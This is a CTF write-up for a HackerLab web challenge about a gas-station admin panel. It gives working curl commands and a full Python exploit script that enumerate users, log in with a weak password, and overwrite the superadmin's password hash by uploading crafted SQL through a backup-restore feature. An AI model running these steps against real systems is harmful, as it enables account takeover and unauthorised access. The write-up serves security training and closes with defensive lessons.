Хаос на АЗС (Chaos at the Gas Station)
Хаос на АЗС (Chaos at the Gas Station)
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-10 | Status: Solved Techniques: hash_algorithm_analysis, password_bruteforce, sql_injection_via_backup_upload, user_enumeration_via_error_messages
Summary
Task: Web app for gas station management with admin panel. Solution: User enumeration via different error messages, password bruteforce, then SQL injection via backup upload to change superadmin password and access secret section.
Хаос на АЗС (Chaos at the Gas Station) — HackerLab
Description
Web application for managing a gas station. The main page displays fuel prices (Gasoline, Diesel, Methane, Propane). There is an admin panel with two sections: "Fuel" and "Secret".
Goal: Gain access to the secret section and find the flag.
Target: 62.173.140.174:16109
Analysis
Reconnaissance
The application runs on Flask/Werkzeug. The following endpoints were discovered:
/— main page with fuel prices/admin— redirects to/adminLogin/adminLogin— login form with fields: section, username, password/admin/fuel— fuel management panel (after authentication)/admin/backup— download/upload database backup/admin/secret— secret section
Vulnerability 1: User Enumeration
The login form returns different error messages:
"User does not exist"— user not found"Check username or password"— user exists but password is incorrect
This allows identifying existing users.
Vulnerability 2: Weak Password
The operator user in the Fuel section has a weak password qwe123, which is easily brute-forced.
Vulnerability 3: SQL Injection via Backup Upload
The SQL backup upload function executes arbitrary SQL commands without validating file contents.
Solution
Step 1: User Enumeration
bash read-only • copy allowed# Check if user exists curl -s -X POST http://62.173.140.174:16109/adminLogin \ -d "section=Fuel&username=operator&password=test" # Response: "Check username or password" — user exists! curl -s -X POST http://62.173.140.174:16109/adminLogin \ -d "section=Fuel&username=admin&password=test" # Response: "User does not exist"
Step 2: Password Bruteforce
bash read-only • copy allowed# Found password: qwe123 curl -s -X POST http://62.173.140.174:16109/adminLogin \ -d "section=Fuel&username=operator&password=qwe123" \ -c cookies.txt -L # Successful login to /admin/fuel panel
Step 3: Admin Panel Analysis
In the /admin/fuel panel, the following were found:
- Form for changing fuel prices
- Hidden SQL backup upload form
- Link to download backup
/admin/backup
Step 4: Database Dump Analysis
bash read-only • copy allowedcurl -s -b cookies.txt http://62.173.140.174:16109/admin/backup -o backup.sql
Backup contents:
sql read-only • copy allowedCREATE TABLE users (section TEXT, username TEXT, password TEXT); INSERT INTO "users" VALUES('Fuel','operator','b6a2976b76ff282c4bbf8868ad9342272870d8f4370312adba1edb35c91c2a75'); INSERT INTO "users" VALUES('Secret','superadmin','c9fdad93faaa058cc5d36989be43cf7de9dfa8065e32fbe42a95a3842c7dc45e');
Step 5: Hash Algorithm Analysis
The qwe123 password hash doesn't match standard SHA256. Through analysis, the algorithm was determined to be double SHA256:
python read-only • copy allowed#!/usr/bin/env python3 import hashlib def double_sha256(password: str) -> str: """Computes SHA256(SHA256(password))""" first_hash = hashlib.sha256(password.encode()).digest() second_hash = hashlib.sha256(first_hash).hexdigest() return second_hash # Verification password = "qwe123" result = double_sha256(password) print(f"Double SHA256 of '{password}': {result}") # Result: b6a2976b76ff282c4bbf8868ad9342272870d8f4370312adba1edb35c91c2a75 # Matches the operator hash in the DB!
Step 6: SQL Injection via Backup Upload
Create a malicious SQL file to change the superadmin password:
sql read-only • copy allowed-- inject.sql UPDATE users SET password='b6a2976b76ff282c4bbf8868ad9342272870d8f4370312adba1edb35c91c2a75' WHERE username='superadmin';
Upload the file:
bash read-only • copy allowedcurl -s -b cookies.txt -X POST http://62.173.140.174:16109/admin/backup \ -F "sqlfile=@inject.sql" # superadmin password changed to hash of "qwe123"
Step 7: Getting the Flag
bash read-only • copy allowed# Login as superadmin curl -s -X POST http://62.173.140.174:16109/adminLogin \ -d "section=Secret&username=superadmin&password=qwe123" \ -c cookies.txt -L # Access the secret page curl -s -b cookies.txt http://62.173.140.174:16109/admin/secret # Flag is displayed on the page
Full Solution Script
python read-only • copy allowed#!/usr/bin/env python3 """ Exploit for "Хаос на АЗС" (Chaos at the Gas Station) HackerLab CTF - Pwn/Web """ import requests import hashlib TARGET = "http://62.173.140.174:16109" def double_sha256(password: str) -> str: """Computes SHA256(SHA256(password))""" first_hash = hashlib.sha256(password.encode()).digest() return hashlib.sha256(first_hash).hexdigest() def main(): session = requests.Session() # Step 1: Login as operator print("[*] Logging in as operator...") resp = session.post(f"{TARGET}/adminLogin", data={ "section": "Fuel", "username": "operator", "password": "qwe123" }) if "fuel" not in resp.url: print("[-] Failed to login as operator") return print("[+] Logged in as operator") # Step 2: Download backup for analysis print("[*] Downloading backup...") resp = session.get(f"{TARGET}/admin/backup") print(f"[+] Backup content:\n{resp.text[:500]}...") # Step 3: Create malicious SQL known_hash = double_sha256("qwe123") malicious_sql = f"UPDATE users SET password='{known_hash}' WHERE username='superadmin';" print(f"[*] Malicious SQL: {malicious_sql}") # Step 4: Upload malicious SQL print("[*] Uploading malicious SQL...") files = {"sqlfile": ("inject.sql", malicious_sql, "application/sql")} resp = session.post(f"{TARGET}/admin/backup", files=files) print("[+] SQL uploaded") # Step 5: Login as superadmin print("[*] Logging in as superadmin...") session2 = requests.Session() resp = session2.post(f"{TARGET}/adminLogin", data={ "section": "Secret", "username": "superadmin", "password": "qwe123" }, allow_redirects=True) # Step 6: Get the flag print("[*] Fetching flag...") resp = session2.get(f"{TARGET}/admin/secret") # Search for flag in response import re flag_match = re.search(r'CODEBY\{[^}]+\}', resp.text) if flag_match: print(f"[+] FLAG: {flag_match.group()}") else: print(f"[-] Flag not found in response") print(resp.text[:1000]) if __name__ == "__main__": main()
Lessons
- User Enumeration — always use identical error messages for authentication
- Weak Passwords — service accounts often have weak passwords
- SQL Injection via File Upload — database import/restore functions must validate content
- Security through Obscurity — non-standard hashing algorithm (double SHA256) doesn't provide security
- Privilege Escalation — access to one section may allow escalation to another